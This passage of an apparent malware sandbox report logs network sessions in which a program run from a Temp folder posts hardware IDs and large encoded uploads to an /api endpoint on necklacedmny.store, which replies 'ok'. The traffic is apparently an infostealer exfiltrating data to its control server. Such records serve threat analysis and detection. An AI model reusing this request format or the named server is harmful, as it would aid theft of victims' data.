PUQSjt6K+X1i5lsgfA7ZO8CKl41D6LchHTCzd1fV4v0kCxCKldS3cWjgW2U2Rtkggd7Tp1ThuDIJF6ZxCJXyvTJHBYjQjPs8KqpReHIWnhKX0pe1F/zxMQBF7DcJmO+/MksWhdGH8Hpi61VlMUvYIoDe3a1R7787CgGycUbbvbQlC0/G54H5dWfsW3Yaf548zsuXrVWl6XYIDrx7A534sjVBH4nanvZzbe1dbT1A2y2S1dyhUey/MExL9HAe1aX
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 49 37 53 68 50 4e 79 64 75 74 5a 49 48 77 4f 32 54 76 41 69 70 65 62 54 2b 4b 32 4f 55 34 73 73 32 77 48 6e 2f 36 34 4d 51 73 49 79 4d 7a 4d 38 48 41 6b 73 68 5a 74 50 6b 50 61 4d 59 7a 53 31 36 4e 65 37 36 4d 35 41 77 69 33 64 77 4f 48 2f 4b 45 79 51 42 4b 46 30 59 50 34 63 47 7a 67 46 69 35 79 53 63 5a 6a 32 4a 4c 37 71 55 6a 76 38 78 45 57 45 37 4e 37 46 35 37 77 76 33 31 55 57 5a 2b 56 69 2f 73 38 50 4b 70 57 59 54 39 63 32 79 4b 4b 32 4e 71 69 56 75 43 30 4f 51 67 42 76 33 6b 55 6d 2f 4b 7a 4f 30 41 57 67 39 61 48 2f 58 4a 74 2b 42 59 75 63 6b 6e 47 59 39 69 53 2f 62 46 59 36 4c 31 30 49 67 36 69 63 45 53 30 38 37 67 36 52 77 48 47 79 73 4c 75 50 47 50 6d 46 6a 68 79 52 39 41 76 67 39 58 66 6f 6c 7a 6c 75 6a 59 44 44 37 70 77 46 4a 2f 78 75 53 39 45 Data Ascii: I7ShPNydutZIHwO2TvAipebT+K2OU4ss2wHn/64MQsIyMzM8HAkshZtPkPaMYzS16Ne76M5Awi3dwOH/KEyQBKF0YP4cGzgFi5yScZj2JL7qUjv8xEWE7N7F57wv31UWZ+Vi/s8PKpWYT9c2yKK2NqiVuC0OQgBv3kUm/KzO0AWg9aH/XJt+BYucknGY9iS/bFY6L10Ig6icES087g6RwHGysLuPGPmFjhyR9Avg9XfolzlujYDD7pwFJ/xuS9E
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 7a 6f 4d 6e 32 71 55 57 78 79 46 70 34 6a 68 4e 37 55 72 56 66 71 76 44 6b 4c 44 72 74 39 43 49 66 79 74 6a 56 48 48 34 76 48 68 76 31 75 62 65 4e 62 62 6a 70 63 33 57 50 4f 6b 74 43 79 47 62 33 78 42 41 59 47 75 47 45 4c 6d 72 32 73 63 31 4a 58 67 64 6e 4d 72 7a 78 32 2b 46 5a 72 4d 6b 6e 51 4d 59 48 61 32 4b 42 5a 34 37 6f 38 44 77 79 77 65 51 2b 54 2f 4c 34 38 53 68 65 44 31 59 58 6c 63 53 53 6b 46 6d 63 71 44 6f 5a 6a 74 39 37 63 6d 31 72 7a 38 53 6c 43 48 50 52 77 43 74 57 6c 38 7a 78 5a 47 6f 37 52 6a 50 70 36 62 2b 74 58 59 7a 4a 4f 33 53 4f 46 32 64 69 73 58 75 69 37 50 77 55 58 76 48 4d 55 6c 66 47 33 66 51 56 58 67 63 33 4d 72 7a 78 55 36 56 31 73 4d 6b 50 4c 59 35 2b 63 7a 75 70 65 36 66 46 75 54 41 32 2f 66 41 43 65 2f 72 41 7a 51 42 32 4a 32 Data Ascii: zoMn2qUWxyFp4jhN7UrVfqvDkLDrt9CIfytjVHH4vHhv1ubeNbbjpc3WPOktCyGb3xBAYGuGELmr2sc1JXgdnMrzx2+FZrMknQMYHa2KBZ47o8DwyweQ+T/L48SheD1YXlcSSkFmcqDoZjt97cm1rz8SlCHPRwCtWl8zxZGo7RjPp6b+tXYzJO3SOF2disXui7PwUXvHMUlfG3fQVXgc3MrzxU6V1sMkPLY5+czupe6fFuTA2/fACe/rAzQB2J2
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 76 2f 46 64 74 4f 55 4b 63 49 6f 33 43 30 4f 6f 58 70 62 64 32 56 46 58 36 4e 77 4b 45 76 65 74 74 47 55 7a 54 68 74 75 6e 4c 6e 75 6b 54 79 41 6b 44 6f 5a 78 7a 70 4c 46 36 67 47 6c 39 6a 55 65 46 37 4a 30 45 4a 61 36 6a 51 4e 72 48 49 72 57 67 50 5a 37 4a 4b 51 57 62 33 49 57 35 32 4f 44 77 4d 58 6c 53 50 4f 38 4a 67 74 4a 76 47 59 4c 6d 62 33 39 66 51 63 54 6a 64 6d 4a 38 47 77 72 2b 45 5a 72 50 6c 69 53 4a 35 4b 53 6d 65 70 49 37 72 34 6b 41 67 4c 37 5a 68 43 59 37 62 41 34 54 46 75 4f 78 49 48 37 50 43 71 71 51 32 73 2b 53 4e 4d 32 7a 38 50 42 71 55 2f 69 2f 54 34 64 43 4c 67 33 4f 64 75 39 71 33 30 54 56 37 50 57 67 76 6c 37 63 76 73 62 51 44 6c 43 33 53 2b 42 31 5a 66 6b 47 65 50 78 62 6c 39 4c 39 48 4d 58 31 61 58 6a 62 78 42 43 31 59 4c 63 70 57 Data Ascii: v/FdtOUKcIo3C0OoXpbd2VFX6NwKEvettGUzThtunLnukTyAkDoZxzpLF6gGl9jUeF7J0EJa6jQNrHIrWgPZ7JKQWb3IW52ODwMXlSPO8JgtJvGYLmb39fQcTjdmJ8Gwr+EZrPliSJ5KSmepI7r4kAgL7ZhCY7bA4TFuOxIH7PCqqQ2s+SNM2z8PBqU/i/T4dCLg3Odu9q30TV7PWgvl7cvsbQDlC3S+B1ZfkGePxbl9L9HMX1aXjbxBC1YLcpW
2024-11-01 07:51:32 UTC	1369	IN	Data Raw: 49 43 51 4f 68 6e 44 4f 6b 73 58 71 41 61 58 32 4f 41 45 45 74 33 6b 46 68 2b 2b 31 50 6c 30 55 77 65 75 79 30 6e 46 70 37 31 68 6e 44 48 44 2f 4b 5a 44 66 32 4b 31 6e 32 34 59 6e 43 78 58 32 55 51 57 44 2f 76 4e 7a 43 77 2f 47 6a 63 7a 57 64 6e 54 6e 57 57 64 79 41 4a 34 6e 77 49 71 58 6a 31 54 6f 74 44 67 4c 52 35 56 39 46 70 6a 79 74 48 30 46 56 34 71 56 31 4c 64 39 62 76 70 62 62 7a 55 43 32 54 6d 48 6b 70 6e 71 56 36 58 70 64 67 30 50 70 48 6f 4a 6b 72 47 31 4d 30 56 58 6d 5a 75 56 74 32 6f 6b 73 67 55 75 63 6c 79 65 65 38 43 56 32 61 64 59 35 72 38 31 48 68 65 79 64 42 43 57 75 6f 30 44 62 68 71 4c 30 49 4c 77 51 6c 72 4c 58 48 41 2f 51 64 6c 68 6f 4e 58 42 71 57 66 62 68 69 63 4c 46 66 5a 52 42 59 50 2b 38 33 4d 4c 44 38 61 4e 7a 4e 5a 32 64 4f 64 Data Ascii: ICQOhnDOksXqAaX2OAEEt3kFh++1Pl0Uweuy0nFp71hnDHD/KZDf2K1n24YnCxX2UQWD/vNzCw/GjczWdnTnWWdyAJ4nwIqXj1TotDgLR5V9FpjytH0FV4qV1Ld9bvpbbzUC2TmHkpnqV6Xpdg0PpHoJkrG1M0VXmZuVt2oksgUuclyee8CV2adY5r81HheydBCWuo0DbhqL0ILwQlrLXHA/QdlhoNXBqWfbhicLFfZRBYP+83MLD8aNzNZ2dOd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	57789	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 07:51:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:33 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-01 07:51:34 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c774nb00hib7mq0dttp4t99p3b; expires=Tue, 25-Feb-2025 01:38:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BHvHL%2B%2FJBrMEk9OL2eronY46YaWgY55PNFsilpb2qer1sghyKNCPHaS3aB8UH%2BCiON2E4ZxfR65H7xZcMB1nYjWo6OToEoulAH7V1NT208qWjc2TELtpUO%2FB6RyALWeARdA7nVQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ce4ef0ae599-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1146&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2354471&cwnd=251&unsent_bytes=0&cid=14e1ccffd28c9dce&ts=608&x=0"
2024-11-01 07:51:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	57800	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:35 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 07:51:35 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:35 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=19l9pirn08llh3hou0ml3f7k47; expires=Tue, 25-Feb-2025 01:38:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HrA8Zd6TgRLJFPeX8wvxi2JHbr0Ijpr0T%2FOWQDa0rDOAgWXf%2F08kaWPO2Q%2FgyurGA82X1smJq0gAS34kFs80XOHDtXN45jpO%2FOS3akTb3xo%2B1nhWPNRzHICk40VpEHE7rJbq9DQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4ceefda3a915-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1273&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2470989&cwnd=179&unsent_bytes=0&cid=1faf99d41079ba50&ts=498&x=0"
2024-11-01 07:51:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	57806	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-11-01 07:51:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:36 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 07:51:37 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r1at8b82h2msbqv9mk80644q18; expires=Tue, 25-Feb-2025 01:38:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CaSdf3%2Fhd7saWEZq29vlT30ue2zG4zpoJdnYMMXSbM68r1FCz4UTbvrzhnmzkLO4oWnB23Xd6oVV9Xi9qA%2BiJzuXpjoGgTRSxB2mtiH%2F%2BxuhonSTZsVDjh21hgv7yPl4MbEdjDM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4cf77d506ba7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1072&sent=14&recv=29&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2637522&cwnd=68&unsent_bytes=0&cid=a72a6f89c1d5df9f&ts=668&x=0"
2024-11-01 07:51:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	57817	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:38 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: necklacedmny.store
2024-11-01 07:51:38 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:39 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=332nt0p55oj9c0ag2e8uh2k7go; expires=Tue, 25-Feb-2025 01:38:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W30ak7%2Bbh%2BVAx33k6WiK3uP1%2FK2gp9bN81bMTkyL6edBgBU%2BzajGTDpiWKi5TcyLar546sGnbcKFPJ0CrqRwZev4DzHJExvnfcvmbf6g03OpksVk1w7EOnUmFq%2FAvFSC02I71IA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d030c884791-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1037&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2189&delivery_rate=2750237&cwnd=244&unsent_bytes=0&cid=7132c19a264448d0&ts=486&x=0"
2024-11-01 07:51:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	57834	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:41 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 548477 Host: necklacedmny.store
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: dc 86 18 49 39 da d6 1b 52 91 03 01 9a d9 83 ac 8a 46 6c 46 c7 82 5a a1 67 b5 40 a3 12 d9 99 da 11 06 f0 25 37 ae 89 dd 81 99 c6 06 17 ae e0 b0 af 49 87 55 1f 5a c1 2f c7 d3 80 58 19 b4 21 27 bd b2 17 ef 8b 01 72 dc 6f 38 8f 9b 9f 9a 4a a5 dd 9b 4c 6c f2 2a 07 2d 2b 73 59 af 61 4d 69 f6 b7 e9 03 bd d0 b2 7e 42 97 55 e4 0c 78 eb 4d 49 8b 3a 70 f3 cf 96 c7 2c 53 b2 21 43 bf 66 55 b2 6b d4 d5 b3 29 2e 3a 53 08 11 8a c5 33 fb 0e 47 e8 f7 2f 3e 9b 77 aa 17 62 c7 72 ec 33 c3 09 e0 9b f8 a5 51 d2 d4 c6 3b 2f f4 3e e3 c7 b6 69 d6 29 fc 6b 22 c4 4e 43 11 dd 7f da fb e9 34 25 d3 dd 55 d8 0d 45 21 1b df cb 02 d1 ca 8f 7f 52 e2 43 07 93 02 53 08 2e f6 05 65 a0 d4 4e c8 da e2 d4 ba 8a 4a e7 f9 fa 8c a9 fc 78 15 47 eb ee 10 c5 fa db 6f 61 29 e9 c9 ed 8c d8 04 18 ad 35 Data Ascii: I9RFlFZg@%7IUZ/X!'ro8JLl*-+sYaMi~BUxMI:p,S!CfUk).:S3G/>wbr3Q;/>i)k"NC4%UE!RCS.eNJxGoa)5
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: ae 3f ba 4e f1 90 24 c9 93 fb 08 5a 8a ed ea 8c 33 c0 23 ff f7 99 ef 0f 7c 8e 3d 3d 23 64 5e f0 e1 ac 09 e5 0d a9 38 bb b8 fe fe 33 b6 cf 8b c0 de 4f 17 46 4e 6f 7c f8 50 a3 5b 27 23 19 1d be 00 33 ae 47 bb 4b 51 ed ba e7 7a 4f 49 63 d6 f4 e0 b8 51 de 94 fb 95 63 f1 60 e9 c7 8d 59 ee d6 fe fe b0 d5 32 cd 6f cf 4e df a5 88 0b ef d8 72 00 8e 3b 14 c4 bc 04 13 ad a2 34 da be fa 18 69 6a 15 0e dc 8b 09 52 bc 2f 5b 5a 03 dd 0e 94 f6 fe 8c a4 91 57 0e 66 bc a2 94 ec d9 55 e8 d7 60 a8 66 9f 73 56 c0 e3 1d ba b2 8b 24 dc 27 73 4b 8f 3f db 8e c8 f5 16 d7 e8 8a 63 19 5d 5a 6b 11 54 ec 26 07 86 25 61 65 92 52 6a 55 eb f4 81 0e 55 94 71 e1 4c 54 8c e9 e0 b8 69 39 ff cb aa cc 77 d8 2e 63 5b 0f 1e e5 84 3a 9f 64 e2 db 5d b9 3b 85 b0 7f dd 33 c0 66 e4 cf 4b a8 73 c4 d4 Data Ascii: 